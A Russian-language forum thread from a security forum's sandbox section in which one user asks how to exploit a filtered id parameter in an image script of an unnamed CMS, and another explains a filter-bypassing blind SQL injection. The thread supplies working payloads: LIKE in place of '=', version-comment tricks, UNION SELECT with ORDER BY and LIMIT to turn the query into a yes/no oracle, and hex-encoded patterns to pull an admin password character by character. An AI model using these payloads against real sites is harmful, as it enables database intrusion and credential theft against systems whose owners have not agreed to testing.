HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.11.2012, 15:26
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию

Доброго времени суток!

Помогите плз, добрые люди...

Имеется линк типа

image_file.php?id=1

Выводит 1.gif

при image_file.php?id=2

Выводит 2.gif

при image_file.php?id=2-1

Выводит 1.gif

Предположим, что тут либо BIND SQL, либо LFI

Вопрос: как развить вектор атаки если имеется фильтрация такого типа:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]return[/COLOR][COLOR="#0000BB"]preg_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/[\$%=<>\(\)\[\]\|\{\}]/i"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$string[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"\x00"[/COLOR][COLOR="#007700"]) ) ;[/COLOR][/COLOR
Благодарности!
 
Ответить с цитированием

  #2  
Старый 08.11.2012, 16:18
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Скорее всего здесь SQL-inj, но из-за фильтрации скобок возможно будут проблемы, однако экспулотировать это будет достаточно просто при условии, что запрос достаточно стандартен, если определить параметр, подлежащие выводу. C Blind-SQL дело обстоит горазо сложнее, т.к. нужно почти всегда использовать скобки(Есть исключения).

Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242? Если вам известна регулярка, возможно вам известен сам запрос? Иначе откуда вы привели код(квест, просто пример)?

В места знака равентства можно использовать опреатор like или regexp. Что у вас получаеться, если вы её пытаетесь экспулотировать как обычную инъекцию?

Если идет запрос такого типа:

... WHERE a=(2-1) ...

То можно попробывать экспулотировать полу-слепой блайнд:

... WHERE a=(SELECT 1 FROM `users` WHERE `pass` LIKE `1%` )...

Проверить на SQLi в MySQL можно этим способом: https://forum.antichat.net/showpost.php?p=3333271&postcount=21566
 
Ответить с цитированием

  #3  
Старый 09.11.2012, 15:37
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию

To XAMEHA

Огромное спасибо, кое что прояснилось...

Цитата:
Сообщение от None  
Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242?
2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)

Цитата:
Сообщение от None  
В места знака равентства можно использовать опреатор like или regexp.
Попробовал, вот что получилось

image_file.php?id=(2-1)+and+1+like+1

Выдает 1.gif

image_file.php?id=(2-1)+and+1+like+0

выдает 2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)

Исследуем далее....

Сработала и такая конструкция

image_file.php?id=1+and+1+like+/*!50000 1*/

показывает 1.gif

image_file.php?id=1+and+1+like+/*!60000 1*/

и

image_file.php?id=1+and+1+like+/*!50000 0*/

показывает 2.gif
 
Ответить с цитированием

  #4  
Старый 09.11.2012, 16:12
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

У вас работает Order By и Union? Вы пообрали кол-во полей? Если провести Union получтся, то следует попробывать установить зависимость полей базы и имени, формата, данных вывоимого файла, т.е. картинки, а ужу от этого пробывать составлять запрос для блайнд-инъекции.

Если Order By и Union не работает, попробуйте подставить SELECT 1.

Скрипт самописный, или возможно установить CMS? Если это удасться, то можно сразу попробывать сделать эксплоит под этот модуль.
 
Ответить с цитированием

  #5  
Старый 09.11.2012, 16:31
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию

Сработал ордер

id=1+order+by+1

сработал union

id=1+Union+select+1

Цитата:
Сообщение от None  
Скрипт самописный, или возможно установить CMS? Если это удасться, то можно сразу попробывать сделать эксплоит под этот модуль.
Это CMS, но не хотелось бы в паблик выкидывать уязвимость.

Цитата:
Сообщение от None  
то следует попробывать установить зависимость полей базы и имени, формата, данных вывоимого файла, т.е. картинки, а ужу от этого пробывать составлять запрос для блайнд-инъекции.
я нашел запрос который делается в базу

выглядит примерно так

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]"SELECT count(*) AS total FROM dpt_os WHERE status = 1 AND ID =[/COLOR][COLOR="#0000BB"]$ID[/COLOR][COLOR="#DD0000"]"[/COLOR][/COLOR] 
И прежде чем попасть в запрос ID фильтруется

Возвращает функция с этим запросом либо FALSE либо значение $total

И далее код

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$total[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]$prefix[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"1"[/COLOR][COLOR="#007700"];

else

[/
COLOR][COLOR="#0000BB"]$prefix[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"2"[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$image[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$prefix[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]".GIF"

[/COLOR][COLOR="#0000BB"]readfile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$image[/COLOR][COLOR="#007700"]) ;

[/
COLOR][/COLOR
 
Ответить с цитированием

  #6  
Старый 09.11.2012, 17:36
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию

Получилось раскрутить.

Часть 1:

Мы используем запрос такого синтаксиса:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT count[/COLOR][COLOR="#007700"](*) AS[/COLOR][COLOR="#0000BB"]total FROM dpt_os WHERE status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]AND[/COLOR][COLOR="#0000BB"]ID[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]165 UNION SELECT 222[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]total FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]test[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]ORDER BY total DESC LIMIT 1

[/COLOR][/COLOR
И из-за Order-by значение 222 становится первым, а второе обрезается лимитом. -165 - Заведомо несуществующее значение.

Часть 2:

Мы начинаем крутить инъекцию:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT count[/COLOR][COLOR="#007700"](*) AS[/COLOR][COLOR="#0000BB"]total FROM dpt_os WHERE status[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]AND[/COLOR][COLOR="#0000BB"]ID[/COLOR][COLOR="#007700"]= -[/COLOR][COLOR="#0000BB"]165 UNION SELECT 1[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]total FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]users[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]login[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]like[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][COLOR="#007700"]and `[/COLOR][COLOR="#DD0000"]pass[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]like[/COLOR][COLOR="#DD0000"]'1%'[/COLOR][COLOR="#0000BB"]ORDER BY total DESC LIMIT 1

[/COLOR][/COLOR
И таким образом, если первый символ пароля 1, запрос возвратит 1, иначе ничего и мы спокойно крутим инъекцию. Желательно использовать POST/Куки, заместо ORDER BY можно использовать LIMIT 1, 2. Запятые в запросе тоже не используются.

Из-за фильтрации процента, мы переводим '1%' в 0x3125 используя HEX. Онлайн-конвертер: http://home.paulschou.net/tools/xlate/

UDP:

Так-же мы можем подбирать длину - LIKE '_%'. Кол-во записей в таблице можно получить используя:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]SELECT TABLE_ROWS FROM[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]information_schema[/COLOR][COLOR="#007700"]`.`[/COLOR][COLOR="#DD0000"]TABLES[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]WHERE TABLE_NAME LIKE[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][/COLOR
Если доступа к information_schema нет, мы можем использовать LIMIT. REGEXP Тоже может помочь.
 
Ответить с цитированием

  #7  
Старый 09.11.2012, 17:39
jangle
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме:
95879

Репутация: 5
По умолчанию

Метод просто супер!
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.